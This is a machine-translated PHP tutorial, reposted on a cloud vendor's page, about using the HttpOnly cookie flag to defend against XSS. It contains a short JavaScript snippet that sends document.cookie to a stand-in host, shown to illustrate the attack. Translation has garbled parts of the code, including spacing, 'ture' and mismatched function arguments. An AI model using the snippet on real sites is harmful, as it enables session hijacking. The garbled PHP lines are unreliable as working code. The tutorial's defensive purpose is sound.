Xss defense-php uses httponly to defend against xss attacks-PHP Tutorial

Source: Internet
Author: User
Xss defense-php uses httponly to defend against xss attacks. The concept of xss is needless to say, and its harm is enormous. This means that once your website has an xss vulnerability, you can execute arbitrary js code, the most terrible thing is that attackers can exploit JavaScript to obtain the xss concept. the damage is enormous, which means that once your website has an xss vulnerability, attackers can execute arbitrary js code. the most terrible thing is that attackers can use JavaScript to obtain cookies or session hijacking. if a large amount of sensitive information (such as identity information and administrator information) is contained, that's all...

Obtain cookie information using the following js:

The code is as follows:


Url = document. top. location. href;
Cookie = document. cookie;
C = new Image ();
C. src = 'http: // www.test.com/c.php? C = '+ cookie +' & u = '+ url;

Generally, cookies are obtained from the document Object. now, when setting cookies, the browser generally accepts a parameter called HttpOnly, which is the same as other parameters such as domain. once this HttpOnly is set, you cannot see the Cookie in the document object of the browser.

Set HttpOnly in PHP:

The code is as follows:


// In php. ini, session. cookie_httponly = ture enables the HttpOnly attribute of the global Cookie.
Ini_set ("session. cookie_httponly", 1 );

// Or set the seventh parameter of setcookie () to true.
Session_set_cookie_params (0, NULL, TRUE );

For PHP versions earlier than PHP5.1:

The code is as follows:


Header ("Set-Cookie: hidden = value; httpOnly ");

Finally, HttpOnly is not omnipotent!

...

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.